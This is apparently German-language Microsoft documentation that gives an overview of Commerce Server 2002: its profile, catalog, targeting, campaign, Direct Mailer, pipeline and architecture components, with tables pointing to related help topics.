Topverweiser (Domänen) nach Anforderungen |  |
Hauptsächlich angeforderte Seiten |  |
*Benutzerbesuchstrends |  |
*Zusammenfassung der Kampagnenartikel |  |
*Anzeigenreichweite und Häufigkeit nach Datum |  |
*Anzeigenreichweite und Häufigkeit pro Werbungstreibendem |  |
*Käuferverhalten bis zum Kauf |  |
*Zusammenfassung von Kampagnenereignissen |  |
*Warenkorbereignisse |  |
*Bestellereignisse |  |

In der folgenden Tabelle werden die wichtigsten Commerce Server 2002-Hilfethemen zu den Analysetools aufgeführt.

Thema | Abschnitt
Anpassen von Berichten | Analysis/Reporting Schema (englisches Thema)
Sicherheit für Berichte | Skripts zum Sichern von durch Berichte aufgerufenen Datenbanken Sichern von Berichten Zugriff auf den Analysis-Server über HTTPS


Profilsystem

Mit dem Profilsystem von Commerce Server können beliebig definierbare Informationen für jedes geschäftsbezogene Element gesammelt werden. So können Sie z. B. Profilinformationen für anonyme Benutzer, für einen Kontext (etwa Datum und Uhrzeit eines Besuchs) oder für eine Organisation sammeln.

Microsoft Commerce Server bietet die Möglichkeit, Benutzerprofildaten aus mehreren physischen Speichern zusammenzufassen, die dann bei der Anwendungsentwicklung als einfaches Objekt verfügbar sind. Die Funktionalität lässt sich außerdem problemlos erweitern, um logische Geschäftseinheiten zu verwalten.

Profilinformationen werden im Profildatenspeicher gespeichert, der auf Active Directory und/oder SQL Server basieren kann. Daten aus dem Profildatenspeicher lassen sich in das Data Warehouse exportieren. Mithilfe von Commerce Server Business Desk können die so zusammengestellten Profildaten analysiert werden.

Das Profilsystem enthält folgende Hauptkomponenten:

  • Profilressource. Mit dieser Ressource verwalten Sie die Benutzerdatensammlung in Ihrer Website. Die Profilressource wird über den Commerce Server-Manager verwaltet, der auf Microsoft Management Console ausgeführt wird. Sie können Datenquellen, Datenobjekte und Datenelemente erstellen, Profildefinitionen erstellen und überprüfen sowie Profilschemata exportieren und importieren.
  • Profilspeicher. Eine Tabellengruppe in einer Microsoft SQL Server-Datenbank, in der Profildefinitionen, Sitebegriffe und benannte Ausdrücke gespeichert werden.
  • Die Objekte ProfileObject und ProfileService. Beim Entwickeln einer Site rufen Sie mit dem Objekt ProfileObject Daten in bestimmten Profilobjektinstanzen ab und bearbeiten die Eigenschaftswerte für das entsprechende Profilobjekt. Mit dem Objekt ProfileService können Sie ProfileObject-Objekte erstellen, abrufen und löschen.
  • OLE DB Provider für Commerce Server. Mit diesem Feature werden ProfileObject-Objektdaten aus mehreren zu Grunde liegenden Datenspeichern zusammengefasst und dann als einfaches OLE DB-Zeilenobjekt offen gelegt.
  • Authentifizierungstools. Die Authentifizierung lässt sich mit den folgenden Tools verwalten:
    • AuthManager. Ein COM-Objekt (Component Object Model), das Methoden zur Benutzeridentifizierung und zur Zugriffssteuerung auf dynamisch erstellte Inhalte bereitstellt. Beispiel: Siteentwickler können die Methode GetUserID des Objekts AuthManager aufrufen, um einen Benutzer auf der Grundlage eines Cookies oder einer Abfragezeichenfolge zu identifizieren.
    • AuthFilter. Ein Internet Server Application Programming Interface (ISAPI)-Filter, der auf der Anwendungsebene von IIS Commerce Server verwendet und konfiguriert wird. Dieser Filter lässt sich auf alle Benutzer anwenden, die eine Anwendung besuchen. AuthFilter umfasst fünf Implementierungsmodi: Windows-Authentifizierung, Kundenauthentifizierung, AutoCookie-Erstellung, Windows-Authentifizierung mit AutoCookie, sowie die benutzerdefinierte Authentifizierung mit AutoCookie.
  • Verschlüsselung mit dynamischem Schlüssel. Mit diesem Feature können Sie die öffentlichen und privaten Schlüssel in asymmetrischer Verschlüsselung in ein neues Paar ändern sowie Daten zur Verwendung der neuen Schlüssel migrieren. Commerce Server unterstützt die asymmetrische Verschlüsselung (wird zur Verschlüsselung von Daten verwendet, die zu einem späteren Zeitpunkt verschlüsselt werden sollen) und das unidirektionale Hash (wird zum Ausblenden von Daten verwendet).
  • Business Desk-Profilmodule. Mit diesen Modulen können Sie festlegen, welche Informationen über die Besucher Ihrer Site erfasst werden sollen und welche Daten in das Data Warehouse importiert werden. Außerdem legen Sie die Informationen fest, die bestimmten Benutzern oder Benutzergruppen angezeigt werden. Dazu erstellen Sie z. B. Zielausdrücke, um Benutzern bestimmte Inhalte zuzuweisen, oder Sie legen fest, welchen Benutzern bestimmte Kataloge angezeigt werden.

    Mit der Profilressource und den Business Desk-Profilmodulen können Sie folgende Schritte ausführen:

    • Erstellen, Bearbeiten und Löschen von Sitebegriffen
    • Bearbeiten und Löschen von Profildefinitionen
    • Erstellen, Bearbeiten und Löschen von Profilen
  • Partnerservicefeature in der Supplier-Lösungssite. Wenn Ihre Website auf der Supplier-Lösungssite basiert, können Partner das Partnerprofilfeature Ihrer Website verwenden. Delegierte Administratoren sind in der Lage, das Profil ihres Unternehmens anzupassen, Benutzerprofile für ihr Unternehmen hinzuzufügen oder zu aktualisieren und die Bestellung für alle Benutzer in ihrem Unternehmen anzuzeigen. Mithilfe von Business Desk können Sie steuern, welche Felder für die delegierten Administratoren verfügbar sind.
  • Kundenservicefeature in der Retail-Lösungssite. Wenn Ihre Website auf der Retail-Lösungssite basiert, können Benutzer der Website mit dem Kundenprofilfeature eigene Profile bearbeiten und den Status ihrer Bestellungen überprüfen. Die Profildaten werden angezeigt, wenn Benutzer das Kundenprofilfeature erstmals auf Ihrer Website eingeben. Mit Business Desk können Sie die Felder festlegen, die von Benutzern bearbeitet werden können.

In der folgenden Tabelle werden die wichtigsten Commerce Server 2002-Hilfethemen zu Profilen aufgeführt.

Thema | Abschnitt
Konzepte | Profilkonzepte Empfohlene Vorgehensweisen für Profile Authentifizierungskonzepte Empfohlene Vorgehensweisen für die Authentifizierung
Programmieren | Privacy Samples (englisches Thema) ASP-Based Profile Sitelet (englisches Thema) Example Code for Profile Objects (englisches Thema) Aktivieren von AuthFilter für die Retail-Lösungssite Aktivieren von AuthFilter für die Supplier-Lösungssite Integrieren mit Passport Exchange 2000 Outlook Web Access-Standardauthentifizierung Code to Retrieve Login Credentials (englisches Thema) Erstellen und Abrufen einer Profilinstanz mit einer verschlüsselten Eigenschaft Example Code for the Microsoft.CommerceServer.Profiles Namespace (englisches Thema)
Referenzen für die Programmierung | Microsoft.CommerceServer.Runtime.Profiles (englisches Thema) Microsoft.CommerceServer.Interop.Profiles (englisches Thema) Profiling System Objects (englisches Thema) Profiles Schema (englisches Thema) Profiling System and OLE DB Provider (englisches Thema) Profile XML Structures (englisches Thema)
Sicherheit für Profile | Sichern der Profildatenbank Verwalten von verschlüsselten Profileigenschaften Business Desk-Sicherheit
Bereitstellen des Profilsystems | Erstellen einer Profildefinition mit zwei Datenquellen Exportieren und Importieren von Profilschemas in der Profilressource Packen von erweiterten Profilschemas
Erstellen und Verwalten von Profilen | Verwalten von Datenquellen in Profilressourcen Verwalten von Profildefinitionen in Profilressourcen Business Desk-Profile


Produktkatalogsystem

Mit dem Produktkatalogsystem werden Onlinekataloge importiert, exportiert, erstellt und verwaltet. Businessmanager können mithilfe der Katalogmodule in Commerce Server Business Desk Produktkataloge erstellen sowie Produktdaten hinzufügen und aktualisieren.

Business Desk-Benutzer benötigen keine Spezialkenntnisse über die Datenbanken, in denen die Produktdaten gespeichert sind, selbst wenn Produktkataloge aus verschiedenen Quellen (z. B. von unterschiedlichen Lieferanten) zusammengestellt werden.

Mit den Business Desk-Katalogmodulen können Sie z. B. folgende Aufgaben ausführen:

  • Erstellen von Katalogen, die mehrere Sprachen und Währungen unterstützen.
  • Importieren oder Exportieren von Katalogen im CSV- (durch Trennzeichen getrennte Datei) oder XML-(Extensible Markup Language)-Format.
  • Exportieren von Änderungen, die ab einem bestimmten Datum vorgenommen wurden, in einen Katalog.
  • Zusammenfassen von Inhalten aus mehreren Katalogen.
  • Austauschen von Katalogen mit Handelspartnern mithilfe von Microsoft BizTalk Server 2000 und höheren Versionen.
  • Anwenden mehrerer Suchmechanismen, mit deren Hilfe die Besucher Ihrer Site die gewünschten Informationen in Ihrem Katalog finden können.

Das Produktkatalogsystem enthält folgende Hauptkomponenten:

  • Business Desk-Katalogmodule. Mit diesen Modulen können Sie Ihre Kataloge erstellen und verwalten.
  • CatalogManager-Objekt. Beim Entwickeln der Site können Sie mithilfe dieses Objekts das gesamte Produktkatalogsystem in Ihre Arbeit integrieren. Die Methoden und Eigenschaften des Objekts haben Einfluss auf alle Kataloge im Produktkatalogsystem.

    Ein neues CatalogManager-Objektfeature in Microsoft Commerce Server 2002 unterstützt Verbindungsschlüssel, mit denen Sie Verbindungen zu externen Tabellen herstellen, um Bestandsdaten zur Laufzeit abzurufen und einem Produkt mehrere Werte zuzuweisen.

  • MSCS_CatalogScratch-Datenbank. Das Produktkatalogsystem nutzt die MSCS_CatalogScratch-Datenbank zum Ablegen temporärer Katalogtabellen.
  • Skript "CatalogCleanup.vbs". Mit dem Skript "CatalogCleanup.vbs" können Sie temporäre Tabellen aus der MSCS_CatalogScratch-Datenbank löschen. Das Skript "CatalogCleanup.vbs" finden Sie unter "\Programme\Microsoft Commerce Server 2002".
  • Skript "Updatefulltextcatalogs.vbs". Mit diesem Skript können Sie die Volltextindizes aller Produktkataloge in einem Volltextkatalog aktualisieren. Das Skript "Updatefulltextcatalog.vbs" finden Sie unter "\Programme\Microsoft Commerce Server 2002".
  • Skript "UpdateLanguageInfo.vbs". Mit diesem Skript können Sie die Tabelle "CatalogLanguageMap" auffüllen. Konfigurieren Sie in der neutralen Sprachtabelle für jede Spalte, die volltextindiziert ist, das Worttrennmodul.

In der folgenden Tabelle sind die wichtigsten Commerce Server-Hilfethemen zu den Katalogen aufgeführt.

Thema | Abschnitt
Konzepte | Katalogkonzepte Empfohlene Vorgehensweisen für Kataloge
Programmieren | Programming Best Practices for Catalogs (englisches Thema) Example Code for the Microsoft.CommerceServer.Catalog Namespace (englisches Thema) Example Code for Product Catalog Objects (englisches Thema) ASP-Based Catalog Sitelet (englisches Thema) Integrating a Third-Party Product Catalog (englisches Thema)
Referenzen für die Programmierung | Microsoft.CommerceServer.Runtime.Catalog (englisches Thema) Microsoft.CommerceServer.Interop.Catalog (englisches Thema) Product Catalog Objects (englisches Thema) Catalog XML Structures (englisches Thema)
Sicherheit für Kataloge | Sichern der Produktkatalogdatenbank Business Desk-Sicherheit
Bereitstellen des Katalogsystems | Replizieren des Kataloginhalts Importieren einer XML-Katalogdatei
Erstellen von Katalogen und Aktualisieren von Kataloginhalten | Erstellen einer Katalogdefinition Erstellen eines Basiskatalogs Erstellen eines virtuellen Katalogs Erstellen eines mehrsprachigen Katalogs Preisberechnung für ein Produkt in einem Basiskatalog


Zielgruppenadressierungssystem

Das Zielgruppenadressierungssystem ist eine leistungsfähige, flexible Plattform, die von Businessmanagern eingesetzt wird, um Inhalte zielgerecht für beliebige geschäftsbezogene Elemente oder Bedingungen anzubieten. Durch ein konsistentes Zielgruppenadressierungsmodul sind Businessmanager in der Lage, mit nur einer Technologie verschiedene Geschäftsbedingungen zielgerichtet zu adressieren.

Mit dem Zielgruppenadressierungssystem können Sie folgende Aufgaben ausführen:

  • Personalisieren Sie das Einkaufserlebnis mit gezielten Produktangeboten.
  • Erstellen und planen Sie Kampagnen für Kunden, die in derselben Branche miteinander konkurrieren. Die konkurrierenden Anzeigen werden nie auf derselben Seite angezeigt.
  • Berechnen Sie die Anzeigenpreise nach der von Ihren Kunden gewünschten Anzahl der Anforderungen bzw. Klicks.
  • Bestimmen Sie die Anzeigenpreise je nachdem, auf welcher Seite ein Kunde eine Anzeige schalten möchte.

Das Zielgruppenadressierungssystem besteht aus den fünf folgenden Hauptfunktionsbereichen:

  • Kampagnen.
  • Content Selection Framework.
  • Ausdrucks-Generator.
  • Listen-Manager.
  • Commerce Server Direct Mailer.


Kampagnen

Die Kampagnenmodule in Business Desk sind über Ausdrücke sowohl in das Profilsystem als auch in das Produktkatalogsystem fest integriert. Mithilfe von Ausdrücken können Sie Anzeigen zielgruppenspezifisch platzieren und Preisnachlässe auf Produkte anwenden. Die Kampagnenmodule in Microsoft Commerce Server 2002 Enterprise Edition sind außerdem in das Geschäftsanalysesystem integriert. Dies ermöglicht es Ihnen, die Erfolge Ihrer Kampagnen zu analysieren.

In der folgenden Tabelle werden die wichtigsten Commerce Server 2002-Hilfethemen zu Kampagnen aufgeführt.

Thema | Abschnitt
Konzepte | Kampagnenkonzepte Anzeigenkonzepte Preisnachlasskonzepte Content Selection Framework Concepts (englisches Thema)
Programmieren | Targeting Samples (englisches Thema) Example Code Targeting Objects (englisches Thema) Order Processing Samples (englisches Thema) Order Queuing Sample (englisches Thema) ASP.NET-Based Advertising Sitelet (englisches Thema) ASP-Based Discount Sitelet (englisches Thema) Extending the Content Selection Framework (englisches Thema)
Referenzen für die Programmierung | Microsoft.CommerceServer.Runtime.Targeting (englisches Thema) Microsoft.CommerceServer.Interop.Targeting (englisches Thema) Targeting Objects (englisches Thema) Expression XML Structures (englisches Thema)
Sicherheit für Kampagnen | Sichern der Kampagnendatenbank Business Desk-Sicherheit
Erstellen von Kampagnen | Geschlossene Commerce Server-Systeme Business-To-Consumer-Lernprogramm Erstellen einer Marketingkampagne Erstellen einer Anzeige Erstellen eines Preisnachlasses Erweitern von Kampagnen Beispiele für Preisnachlässe


Content Selection Framework

Das Content Selection Framework (CSF) ist ein pipelinebasiertes System, das die zu liefernden Inhalte für Werbe- und Preisnachlasskampagnen bestimmt. Mit CSF ist es möglich, mit nur einem Aufruf mehrere Inhalte als ein Recordset abzurufen, wodurch wesentliche Zeitersparnisse erzielt werden können.

Die CSF-Architektur unterstützt ein offenes Bewertungssystem. Damit ist es Siteentwicklern möglich, den Algorithmus zu ändern, der zur Bestimmung der zu liefernden Inhalte eingesetzt wird. Außerdem können mithilfe von Debuggingcode Ereignisse überwacht werden, die während des Wertungsprozesses auftreten.

In der folgenden Abbildung werden die Komponenten von Content Selection Framework angezeigt.

Komponenten von Content Selection Framework

In der folgenden Tabelle sind die wichtigsten Commerce Server-Hilfethemen zu Content Selection Framework aufgeführt.

Thema | Abschnitt
Konzepte | Content Selection Framework Concepts (englisches Thema)
Programmieren | Targeting Samples (englisches Thema) Example Code Targeting Objects (englisches Thema) Order Processing Samples (englisches Thema) ASP.NET-Based Advertising Sitelet (englisches Thema) Extending the Content Selection Framework (englisches Thema)
Referenzen für die Programmierung | Microsoft.CommerceServer.Runtime.Targeting (englisches Thema) Microsoft.CommerceServer.Interop.Targeting (englisches Thema) Targeting Objects (englisches Thema) Expression XML Structures (englisches Thema)
Sicherheit für Kampagnen | Sichern der Kampagnendatenbank Business Desk-Sicherheit
Erstellen von Kampagnen | Geschlossene Commerce Server-Systeme Business-To-Consumer-Lernprogramm Erstellen einer Marketingkampagne Erstellen einer Anzeige Erstellen eines Preisnachlasses Beispiele für Preisnachlässe


Ausdrucks-Generator

Ein Ausdruck ist eine Bedingung, die unter Verwendung von Profilen ausgewertet wird. Dadurch wird bestimmt, ob Inhalt geliefert oder eine andere Aktion ausgeführt werden soll. Ein Beispiel eines solchen Ausdrucks ist Benutzer.Gesamtbesuche > 100. Wenn dieser Ausdruck als "Wahr" ausgewertet wird, werden Benutzern, die Ihre Site mehr als 100 Mal aufgerufen haben, spezifische Inhalte angezeigt.

Der Ausdrucks-Generator bietet in Commerce Server Business Desk-Modulen eine Benutzeroberfläche, mit der Business-Manager Ausdrücke erstellen können, die die Bereitstellung von bestimmten Inhalten für Benutzer bewirken. Der Ausdrucks-Generator greift zum Erstellen von Ausdrücken auf die entsprechenden Eigenschaften von Microsoft Commerce Server-Datenbanken zu. Der Ausdruck wird dann in den Datenbanken benannt und gespeichert.

Der Ausdrucks-Generator ist so ausgelegt, dass Siteentwickler seine Funktionalität und Benutzeroberfläche mühelos in andere Business Desk-Module einbetten können. Außerdem kann der Ausdrucks-Generator von Webanwendungen aufgerufen werden, die Ausdrücke verwenden und bearbeiten. Dies ermöglicht die Integration in andere Prozesse. So lässt sich z. B. die Funktionalität des Ausdrucks-Generators in einen bereits vorhandenen Content Management-Prozess integrieren. Dies wiederum ermöglicht die Zielgruppenadressierung von Inhalten an Benutzer.

Beim Ausdrucks-Generator wird für die Benutzeroberfläche DHTML (Dynamic Hypertext Markup Language) eingesetzt. Die Stylesheets der Anwendung werden also auf die Benutzeroberfläche des Ausdrucks-Generators angewendet. Dadurch erhält Ihre Anwendung eine einheitliche Gestaltung.

In der folgenden Tabelle sind die wichtigsten Commerce Server 2002-Hilfethemen zum Ausdrucks-Generator aufgeführt.

Thema | Abschnitt
Konzepte | Ausdrucksbasierte Zielgruppenadressierung Der Ausdrucks-Generator
Programmieren | Targeting Samples (englisches Thema) Example Code Targeting Objects (englisches Thema) ASP.NET-Based Advertising Sitelet (englisches Thema) Extending the Content Selection Framework (englisches Thema)
Referenzen für die Programmierung | Microsoft.CommerceServer.Runtime.Targeting (englisches Thema) Microsoft.CommerceServer.Interop.Targeting (englisches Thema) Targeting Objects (englisches Thema) Expression XML Structures (englisches Thema) ExpressionBuilder (englisches Thema) ExpressionBuilder Configuration (englisches Thema)
Sicherheit für Ausdrücke | Sichern der Profildatenbank Business Desk-Sicherheit
Erstellen von Ausdrücken | Geschlossene Commerce Server-Systeme Business-To-Consumer-Lernprogramm Erstellen von Kampagnenausdrücken


Listen-Manager

Der Listen-Manager ist ein Dienst mit einer Commerce Server Business Desk-Benutzeroberfläche. Mit dem Listen-Manager Listen können Benutzerprofile importiert und exportiert werden. Dieser Dienst ist in Microsoft Commerce Server 2002 Enterprise Edition Bestandteil des Geschäftsanalysesystems. Dadurch ist es z. B. möglich, über die Ausführung von Berichten eine Profilliste zu erstellen, die dann in Listen-Manager importiert werden kann. Sie können außerdem Segmentdaten in Listen-Manager importieren.

Nachdem Sie eine Liste mit Benutzerprofilen in Listen-Manager importiert haben, können Sie diese in das Benutzermodul exportieren. Anschließend lassen sich diese Profilinformationen bei Bedarf aktualisieren, z. B., um zum Zwecke der Zielgruppenadressierung Eigenschaften zu Benutzerprofilen hinzuzufügen. Mithilfe der Liste lässt sich auch eine Direktsendungskampagne erstellen.

In der folgenden Tabelle werden die wichtigsten Commerce Server 2002-Hilfethemen zu Listen-Manager aufgeführt.

Thema | Abschnitt
Konzepte | Ausdrucksbasierte Zielgruppenadressierung Der Ausdrucks-Generator
Programmieren | Targeting Samples (englisches Thema) Example Code Targeting Objects (englisches Thema) ASP.NET-Based Advertising Sitelet (englisches Thema) Extending the Content Selection Framework (englisches Thema)
Referenzen für die Programmierung | Microsoft.CommerceServer.Runtime.Targeting (englisches Thema) Microsoft.CommerceServer.Interop.Targeting (englisches Thema) Targeting Objects (englisches Thema) Expression XML Structures (englisches Thema) ExpressionBuilder (englisches Thema) ExpressionBuilder Configuration (englisches Thema)
Sicherheit für Listen-Manager | Listen-Manager-Dienstkonto Sichern der Kampagnendatenbank Business Desk-Sicherheit
Arbeiten mit Listen-Manager | Geschlossene Commerce Server-Systeme Business-To-Consumer-Lernprogramm Verwalten von Listen mit Benutzereinträgen


CommerceServer Direct Mailer

Feedback zu dieser Seite senden Commerce Server 2002

Commerce Server Direct Mailer

Direct Mailer ist ein schneller, skalierbarer Microsoft Windows 2000-basierter Dienst, über den personalisierte E-Mail-Nachrichten von einer Webseite bzw. nichtpersonalisierte Mailings aus einer nichtformatierten Textdatei an große Empfängergruppen gesendet werden können. Direct Mailer kann als eigenständiger Prozess verwendet werden, in dem Sie Mailaufträge direkt konfigurieren. Sie können Direct Mailer auch gemeinsam mit dem Modul "Kampagnen" in Commerce Server Business Desk verwenden und den Erfolg Ihrer Direktsendungskampagne so nachverfolgen. In Microsoft Commerce Server 2002 Enterprise Edition verfolgt Direct Mailer E-Mails und erfasst dabei, welche E-Mails gesendet und welche geöffnet werden. Auf der Grundlage dieser Angaben können Sie dann den Erfolg einer Direktsendungskampagne analysieren.

Die Direct Mailer-Pipeline wird zum Verarbeiten von Empfängerlisten verwendet. Sie können der Pipeline neue Komponenten hinzufügen, die Komponenten in unternehmensspezifische Systeme integrieren oder sie durch Komponenten von Drittanbietern ersetzen. Beispielsweise können Sie die Vorlage ändern, die für die Mailings verwendet wird.

In der folgenden Tabelle sind die wichtigsten Commerce Server-Hilfethemen zu Direct Mailer aufgeführt.

Thema | Abschnitt
Konzepte | Direktsendungskonzepte Direct Mailer-Pipeline (englisches Thema)
Referenzen für die Programmierung | Microsoft.CommerceServer.Runtime.Targeting (englisches Thema) Microsoft.CommerceServer.Interop.Targeting (englisches Thema) Targeting Objects (englisches Thema) Expression XML Structures (englisches Thema) ExpressionBuilder (englisches Thema) ExpressionBuilder Configuration (englisches Thema)
Bereitstellen von Direct Mailer | Installieren von Commerce Server 2002-Ressourcen als Ressourcencluster Konfigurieren eines SMTP-Servers für Direct Mailer
Sicherheit für Direct Mailer | Direct Mailer-Dienstkonto Sichern der Direct Mailer-Datenbank Business Desk-Sicherheit
Arbeiten mit Direct Mailer | Direct Mailer-Lernprogramm Ausführen von Direct Mailer Erstellen einer Direktsendung Erstellen einer Adressenliste


Geschäftsabwicklungspipeline-System

Mit dem Geschäftsabwicklungspipeline-System können Sie die Bestellabwicklung, die Zielgruppenadressierung sowie Ihre Marketing-Prozesse an Ihre Erfordernisse anpassen. Mithilfe von Pipelines können Sie die Phasen eines Geschäftsprozesses definieren und miteinander verknüpfen.

Die Order Processing Pipeline (OPP) stellt beispielsweise die Sequenz von Schritten zur Verfügung, die für die Verarbeitung von Bestellungen in Ihrer Site verwendet werden. In der ersten Phase der Order Processing Pipeline werden Produktinformationen aus der Datenbank abgerufen, in der die Katalogdaten gespeichert sind. Im nächsten Schritt wird die Adresse des Benutzers zur Bestellung hinzugefügt. Jede Phase der Pipeline stellt eine Arbeitskategorie dar. Die Abfolge der einzelnen Phasen bestimmt die Reihenfolge, in der die jeweiligen Arbeitsschritte durchgeführt werden.

Commerce Server 2002 enthält eine Reihe neuer Pipelinefeatures, die Flexibilität bei der Bestellbearbeitung, eine vereinfachte Verwaltung von Versandarten, eine flexiblere Preisnachlassverarbeitung sowie eine erhöhte Effizienz beim Laden und Ausführen von Pipelines bieten. Zu diesen Features zählen:

  • Währungsverarbeitung mit hoher Genauigkeit
  • Verarbeitung von Mehrfachlieferungen
  • Preisnachlassverarbeitung
  • Pipelinepooling

Das Geschäftsabwicklungspipeline-System umfasst folgende Hauptkomponenten:

  • Pipelines. Commerce Server enthält mehrere vorkonfigurierte Pipelines, die Sie an Ihre Erfordernisse anpassen können. Beschreibungen zu den einzelnen Pipelines finden Sie unter Working with Pipelines (englisches Thema).
  • Pipeline-Editor. Mit dieser Anwendung können Sie Commerce Server-Pipelines erstellen und bearbeiten.

In der folgenden Tabelle werden die wichtigsten Commerce Server 2002-Hilfethemen zu Pipelines aufgeführt.

Thema | Abschnitt
Anpassen von Pipelines | Working with Pipelines (englisches Thema) Discount Objects (englisches Thema) Pooled Pipelines (englisches Thema) Pipelinekonzepte Building Pipeline Components (englisches Thema) Pipeline Objects (englisches Thema) Pipeline Component Reference (englisches Thema)
Verarbeiten von Bestellungen in mehreren Währungen | Currency Enhancements (englisches Thema) Multiple-shipment Shipping Architecture (englisches Thema)


Commerce Server-Architektur

Microsoft Commerce Server 2002 stellt eine erweiterbare Basis zur Verfügung, mit welcher ausgeklügelte E-Commerce-Anwendungen erstellt werden können, die sich in Ihre vorhandenen Back-End-Systeme integrieren lassen. Da die Architektur auf COM (Component Object Model) beruht, kann die Plattform einfach erweitert werden. Es stehen zahlreiche integrierte Lösungen von Drittanbietern zur Verfügung, oder Ihre Siteentwickler passen die Commerce Server-Tools an, sodass diese Ihre Geschäftsanforderungen erfüllen.

Commerce Server 2002 enthält das Commerce Server .NET Application Framework, bei dem es sich um eine Erweiterung des ASP.NET-Programmiermodells handelt. Entwickler können mithilfe dieses Frameworks Commerce Server-Anwendungen erstellen, in denen Commerce Server-Dienste und -Systeme mithilfe von ASP.NET-Code ausgeführt werden. Commerce Server-Features und -Tools sind in Visual Studio .NET enthalten. Weitere Informationen finden Sie unter Commerce Server .NET Application Framework (englisches Thema). Informationen über die International Retail-Site finden Sie unter International Retail Site (englisches Thema).

Commerce Server nutzt die Vorteile von Microsoft Windows 2000, einschließlich des Microsoft Active Directory-Dienstes, und ist für die Verwendung mit anderen .NET Enterprise-Servern optimiert.

In diesem Abschnitt befindet sich eine Übersicht über alle wichtigen Komponenten der Commerce Server-Architektur.

Dieser Abschnitt beinhaltet folgende Themen:

  • Ressourcen, Sites, Anwendungn und Webserver. Beschreibt Ressourcen, Sites, Anwendungen und Webserver und erläutert die Unterschiede zwischen diesen Komponenten.
  • Commerce Server und IIS. Beschreibt die Beziehung zwischen IIS- und Commerce Server-Objekten und erläutert, welche Eigenschaften von Internetinformationdienste (IIS) 5.0 Einfluss auf Commerce Server haben.
  • Datenbanken. Beschreibt die Commerce Server-Datenbanken und die jeweils enthaltenen Daten.
  • Business Desk-Architektur. Beschreibt die Komponenten von Commerce Server Business Desk sowie von Business Desk Framework.
  • Commerce Server und .NET Enterprise Server. Beschreibt die .NET-Technologien, welche meistens mit Commerce Server verwendet werden.


Ressourcen, Sites, Anwendungen und Webserver

Eine Commerce Server-Installation besteht aus vier Komponentenhauptgruppen:

  • Ressourcen. Eine Entität, die den Anwendungen in einer Commerce Server-Site Funktionalität bereitstellt. Eine Ressource besteht aus einem oder mehreren COM-Objekten. Diese werden auf den Webseiten einer Anwendung für den Zugriff auf die Funktionen der Ressource verwendet. Eine Ressource kann entweder globale Eigenschaften oder Eigenschaften auf Siteebene aufweisen.
  • Sites. Eine Sammlung von ASP-basierten Anwendungen, die COM-Objekte (Component Object Model) von Commerce Server verwenden, oder eine Sammlung von ASP .NET-basierten Anwendungen, die primäre Interop-Assembly-Objekte oder BCL-Objekte (Base Class Library) verwenden. Die Anwendungen verwenden und ändern Ressourcen. Eine Site stellt Mittel bereit, mit denen Anwendungen in der Site zusammen verwaltet werden können.
  • Anwendungen. Eine Website. Sie ist eine logische Abbildung einer Anwendung der Internetinformationsdienste (IIS); sie wird sowohl im Commerce Server-Manager als auch in der IIS-Konsolenstruktur angezeigt. In der IIS-Konsole befindet sich eine Anwendung entweder auf der Ebene des Basisverzeichnisses oder in einem Unterverzeichnis der Website.
  • Webserver. In Commerce Server ist ein Webserver ein physischer Servercomputer, auf dem IIS 5.0 (Internetinformationsdienste) ausgeführt wird; er erbt Eigenschaften von der IIS-Website. Commerce Server unterstützt auch Webserver, auf denen IIS nicht ausgeführt wird und die keine Commerce Server-Komponenten enthalten.

Sie können diese Komponenten mithilfe des Commerce Server-Managers konfigurieren und verwalten. Dieses Tool befindet sich in Microsoft Management Console (MMC).

Die folgende Abbildung zeigt die Commerce Server-Manager-Konsole und alle Gruppen der Commerce Server-Komponenten.

Die Commerce Server-Manager-Konsole und ihre Bestandteile

Siehe auch

Ressourcen

Sites

Anwendungen

Webserver

Commerce Server und IIS


Ressourcen

Eine Ressource ist eine Einheit, die den Anwendungen einer Commerce Server-Site bestimmte Funktionen zur Verfügung stellt.

Eine Ressource besteht aus einem oder mehreren COM-Objekten. Diese werden auf den Webseiten einer Anwendung für den Zugriff auf Ressourcenfunktionen verwendet. Ressourcen schließen Eigenschaften ein, die in der Verwaltungsdatenbank gespeichert werden. Mit dem Commerce Server-Manager ist sowohl der Zugriff auf diese Eigenschaften als auch deren Änderung möglich (sie können auch programmatisch durch die Config-Objekte geändert werden).

Es gibt zwei Ressourcentypen: globale Ressourcen und Siteressourcen. Drittanbieter können benutzerdefinierte globale Ressourcen und Siteressourcen für die Arbeit mit Commerce Server entwickeln. Weitere Informationen finden Sie unter Integrating Custom Resources (englisches Thema).

Globale Ressourcen

Globale Ressourcen stehen allen Sites zur Verfügung.

Commerce Server-Setup erstellt einige globale Ressourcen; andere werden beim Entpacken einer Site mithilfe von Commerce Server Site Packager erstellt. Im Commerce Server-Manager werden unter dem Knoten für globale Ressourcen nur Ressourcen mit Eigenschaften der globalen Ebene angezeigt. Jede Site, die globale Ressourcen verwendet, übernimmt damit auch die Eigenschaften, die den globalen Ressourcen zugewiesen sind.

In der folgenden Tabelle werden die in Commerce Server enthaltenen globalen Ressourcen aufgelistet und beschrieben.

Globale Ressource | Beschreibung | Installation durch
Commerce Server Direct Mailer (auch ein Windows 2000-Dienst) | Sendet personalisierte bzw. nicht personalisierte Mailings an große Empfängergruppen. | Commerce Server-Setup
Data Warehouse | Importiert und verwaltet Websitedaten aus Webprotokolldateien, Commerce Server-Datenbanken und anderen Datenquellen. | Commerce Server Site Packager
CS-Authentifizierung | Konfiguriert die Authentifizierungs- und Identifizierungsmethode für Ihre Commerce Server-Site. | Commerce Server Site Packager
Profile | Erstellt Datenquellen zum Speichern von Profildaten. Erstellt und speichert Profildefinitionen und -eigenschaften. | Commerce Server Site Packager

Siteressourcen

Siteressourcen statten eine bestimmte Site mit Funktionen aus.

Im Commerce Server-Manager werden globale Ressourcenzeiger und Siteressourcen unter einer Site angezeigt. Sie konfigurieren die Eigenschaften einer Siteressource auf der Siteebene. Dabei werden globale Ressourcenzeiger so konfiguriert, dass sie auf die globale Ressource auf der globalen Ebene zeigen.

Die Eigenschaften einer Ressource befinden sich entweder auf der Siteebene oder der globalen Ebene, nicht aber auf beiden Ebenen zugleich.

In der folgenden Tabelle werden die in Commerce Server enthaltenen Siteressourcen aufgeführt und beschrieben.

Siteressource | Beschreibung
Anwendungsstandardkonfiguration | Speichert Eigenschaften, die Sie zur Konfiguration Ihrer Site verwenden, z. B. Gebietsschemas für Währung und Symbole, Rechnungs- und Zahlungsoptionen, Datenschutzoptionen, Maßeinheiten für Gewichtsangaben und Optionen für die Integration mit BizTalk Server.
